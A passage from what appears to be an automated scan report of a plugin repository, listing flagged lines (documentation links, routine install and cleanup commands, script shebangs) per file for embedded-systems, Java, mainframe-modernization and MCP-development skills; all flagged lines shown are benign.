    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 243
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 244
    * [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests)
  • Network accessline 245
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6522.md

  • Network accessline 280
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 281
    * [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf)
  • Network accessline 282
    * [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6C62256.md

  • Network accessline 226
    * [Alliance Memory AS6C62256 Datasheet](https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf)
  • Network accessline 227
    * [https://en.wikipedia.org/wiki/Static_random-access_memory](https://en.wikipedia.org/wiki/Static_random-access_memory)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-lcd.md

  • Network accessline 252
    * [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf)
  • Network accessline 253
    * [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller)
  • Network accessline 254
    * [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502)
  • Network accessline 255
    * [Build a 6502 Computer](https://eater.net/6502)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/lcd.md

  • Network accessline 204
    * <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf>
  • Network accessline 205
    * <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf>
  • Network accessline 206
    * <https://predictabledesigns.com/introduction-embedded-electronic-displays/>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/minipro.md

  • Dangerous shell operationline 47
    sudo apt install minipro
  • Network accessline 53
    git clone https://github.com/vdudouyt/minipro.git
  • Dangerous shell operationline 55
    sudo make install
  • Network accessline 205
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 206
    * <https://www.hadex.cz/spec/m545b.pdf>
  • Network accessline 207
    * <https://github.com/mikeroyal/Firmware-Guide>
  • Network accessline 208
    * <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic>
  • Network accessline 209
    * <https://retrocomputingforum.com/>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md

  • Network accessline 170
    * <https://www.bulcomp-eng.com/datasheet/XGecu%20T48%20-%20Introduction.pdf>
  • Network accessline 171
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 172
    * <https://opensource.com/article/23/1/learn-machine-language-retro-computer>

harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/SKILL.md

  • Network accessline 28
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 29
    - https://learn.microsoft.com/es-es/azure/iot-edge/
  • Network accessline 33
    - https://www.python.org/
  • Network accessline 34
    - https://docs.python.org/3/
  • Network accessline 35
    - https://docs.python.org/3/reference/
  • Network accessline 36
    - https://docs.python.org/3/harness/github-copilot/
  • Network accessline 139
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 140
    - [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/)
  • Network accessline 141
    - [Python](https://www.python.org/)
  • Network accessline 142
    - [Python 3 documentation](https://docs.python.org/3/)
  • Network accessline 143
    - [Python language reference](https://docs.python.org/3/reference/)
  • Network accessline 144
    - [Python standard library](https://docs.python.org/3/harness/github-copilot/)

harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md

  • Network accessline 7
    - Official references reviewed from <https://www.python.org/> and <https://docs.python.org/3/>.
  • Network accessline 8
    - Language and stdlib usage validated against <https://docs.python.org/3/reference/> and <https://docs.python.org/3/harness/github-copilot/>.

harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md

  • Network accessline 7
    - Python home: <https://www.python.org/>
  • Network accessline 8
    - Python documentation portal: <https://docs.python.org/3/>
  • Network accessline 9
    - Python tutorial: <https://docs.python.org/3/tutorial/>
  • Network accessline 10
    - Python language reference: <https://docs.python.org/3/reference/>
  • Network accessline 11
    - Python standard library reference: <https://docs.python.org/3/harness/github-copilot/>
  • Network accessline 12
    - Python HOWTOs: <https://docs.python.org/3/howto/>
  • Network accessline 13
    - Installing modules: <https://docs.python.org/3/installing/>
  • Network accessline 14
    - Distributing modules: <https://docs.python.org/3/distributing/>
  • Network accessline 15
    - PEP index: <https://peps.python.org/>
  • Network accessline 16
    - PyPA packaging guide: <https://packaging.python.org/>

harness/claude-code/plugins/java-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/java-development/skills/create-spring-boot-java-project/SKILL.md

  • Network accessline 41
    curl https://start.spring.io/starter.zip   -d artifactId=${input:projectName:demo-java}   -d bootVersion=3.4.5   -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers 
  • Dangerous shell operationline 48
    rm -f starter.zip
  • Dangerous shell operationline 112
    docker-compose rm -sf
  • Dangerous shell operationline 115
    The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.

harness/claude-code/plugins/java-kotlin-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/java-kotlin-development/skills/create-spring-boot-kotlin-project/SKILL.md

  • Network accessline 31
    1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Network accessline 32
    2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Dangerous shell operationline 34
    4. Remove `starter.zip` after extraction with `rm -f starter.zip`.
  • Network accessline 43
    curl https://start.spring.io/starter.zip \
  • Dangerous shell operationline 54
    rm -f starter.zip
  • Dangerous shell operationline 120
    docker-compose rm -sf
  • Dangerous shell operationline 133
    The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and

harness/claude-code/plugins/java-kotlin-development/skills/java-add-graalvm-native-image-support/SKILL.md

  • Network accessline 452
    - [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 453
    ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 454
    - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 455
    - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 456
    - [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image)
  • Network accessline 457
    - [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal)
  • Network accessline 458
    - [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata)
  • Network accessline 459
    - [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)

harness/claude-code/plugins/java-kotlin-development/skills/javax-to-jakarta-migration/SKILL.md

  • Network accessline 75
    | `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc
  • Network accessline 77
    | `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor |
  • Network accessline 121
    - [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v
  • Network accessline 122
    - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re
  • Network accessline 123
    - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required.
  • Network accessline 129
    - [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee)
  • Network accessline 130
    - [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)

harness/claude-code/plugins/java-kotlin-development/skills/spring-boot-testing/references/instancio.md

  • Network accessline 229
    - [Instancio Documentation](https://www.instancio.org/)
  • Network accessline 230
    - [JUnit 5 Extension](https://www.instancio.org/user-guide/#junit-integration)

harness/claude-code/plugins/java-kotlin-development/skills/spring-boot-testing/references/restclienttest.md

  • Network accessline 40
    void shouldFetchWeather() {     // Given     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 41
    // Given     server.expect(requestTo("https://api.weather.com/v1/current"))       .andExpect(method(HttpMethod.GET))
  • Network accessline 42
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 71
    @Test   void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 72
    void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))       .andRespond(withSuccess()
  • Network accessline 73
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 89
    server.expect(requestTo("https://api.example.com/users/1"))
  • Network accessline 96
    server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+")))
  • Network accessline 103
    server.expect(ExpectedCount.once(),   requestTo("https://api.example.com/users"))
  • Network accessline 104
    requestTo("https://api.example.com/users"))
  • Network accessline 112
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 121
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 173
    void shouldCallApi() {   server.expect(ExpectedCount.once(),     requestTo("https://api.example.com/data"))
  • Network accessline 174
    server.expect(ExpectedCount.once(),     requestTo("https://api.example.com/data"))     .andRespond(withSuccess());
  • Network accessline 175
    requestTo("https://api.example.com/data"))

harness/claude-code/plugins/java-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/java-mcp-development/skills/java-mcp-server-generator/SKILL.md

  • Network accessline 60
    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/"
  • Network accessline 61
    <project xmlns="http://maven.apache.org/"
  • Network accessline 62
    "POM/4.0.0"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 63
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 64
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 65
    https://maven.apache.org/xsd/maven-4.0.0.xsd">

harness/claude-code/plugins/java-modernization-studio/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Ayan Gupta",     "url": "https://github.com/ayangupt"
  • Network accessline 6
    "name": "Ayan Gupta",     "url": "https://github.com/ayangupt"   },
  • Network accessline 7
    "url": "https://github.com/ayangupt"

harness/claude-code/plugins/kotlin-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/learning-and-mentoring/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/learning-and-mentoring/skills/mentoring-juniors/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 199
    - [Thomas Chmara](https://github.com/AGAH4X)
  • Network accessline 200
    - [François Descamps](https://github.com/fdescamps)

harness/claude-code/plugins/linux-operations/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/linux-operations/skills/debian-linux-triage/SKILL.md

  • Dangerous shell operationline 31
    | Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. |
  • Dangerous shell operationline 44
    | Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. |
  • Dangerous shell operationline 54
    | Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. |
  • Dangerous shell operationline 55
    | Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. |
  • Dangerous shell operationline 56
    | Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |

harness/claude-code/plugins/mainframe-cobol-db2-classic/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "keywords": [
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/plugins/mainframe-cobol-db2/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "keywords": [
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/cobol_db2_graph.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/test_cobol_db2_graph.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-cobol-db2/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/plugins/mainframe-natural-adabas-classic/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "keywords": [
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/test_validate_traceability.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/validate_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/mainframe-natural-adabas/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "keywords": [
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/mainframe-natural-adabas/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_extract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_graph.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_extract.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_graph.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/test_validate_traceability.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/validate_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/SKILL.md

  • Network accessline 166
    - [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol)
  • Network accessline 167
    - [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html)
  • Network accessline 168
    - [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/client.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 39
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 40
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     TransportMode = HttpTransportMode.StreamableHttp,
  • Network accessline 41
    Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 182
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 183
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     KnownSessionId = previousSessionId
  • Network accessline 184
    Endpoint = new Uri("https://my-server.example.com/mcp"),

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/elicitation.md

  • Network accessline 7
    > **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/mcp-apps.md

  • Network accessline 3
    [MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos
  • Network accessline 5
    > **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace
  • Network accessline 15
    The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps).
  • Network accessline 95
    ["resourceUri"] = "ui://charts/interactive"                 // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 96
    // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },                 // ["permissions"] = new JsonArray("clipboard-write")
  • Network accessline 97
    // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 148
    <div id="root">Loading…</div>     <script type="module">       import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 150
    import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 174
    **Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as
  • Network accessline 209
    For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/packages.md

  • Network accessline 5
    All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma
  • Network accessline 24
    **Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/testing.md

  • Network accessline 7
    [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati
  • Network accessline 25
    Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`).
  • Network accessline 166
    - **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the
  • Network accessline 168
    - **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-http.md

  • Network accessline 44
    app.Run("http://localhost:3001");
  • Network accessline 78
    Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`).
  • Network accessline 103
    Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess
  • Network accessline 123
    For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont
  • Network accessline 142
    builder.Services.AddCors(o => o.AddDefaultPolicy(p =>     p.WithOrigins("https://my-host.example.com")
  • Network accessline 143
    p.WithOrigins("https://my-host.example.com")

harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-stdio.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 142
    The cleanest workflow is [MCP Inspector](https://github.com/modelcontextprotocol/inspector):

harness/claude-code/plugins/mcp-development/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/mcp-development/skills/mcp-builder/SKILL.md

  • Network accessline 52
    Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml`
  • Network accessline 54
    Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`).
  • Network accessline 71
    **For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 72
    - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 75
    **For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 76
    - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 213
    ### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 214
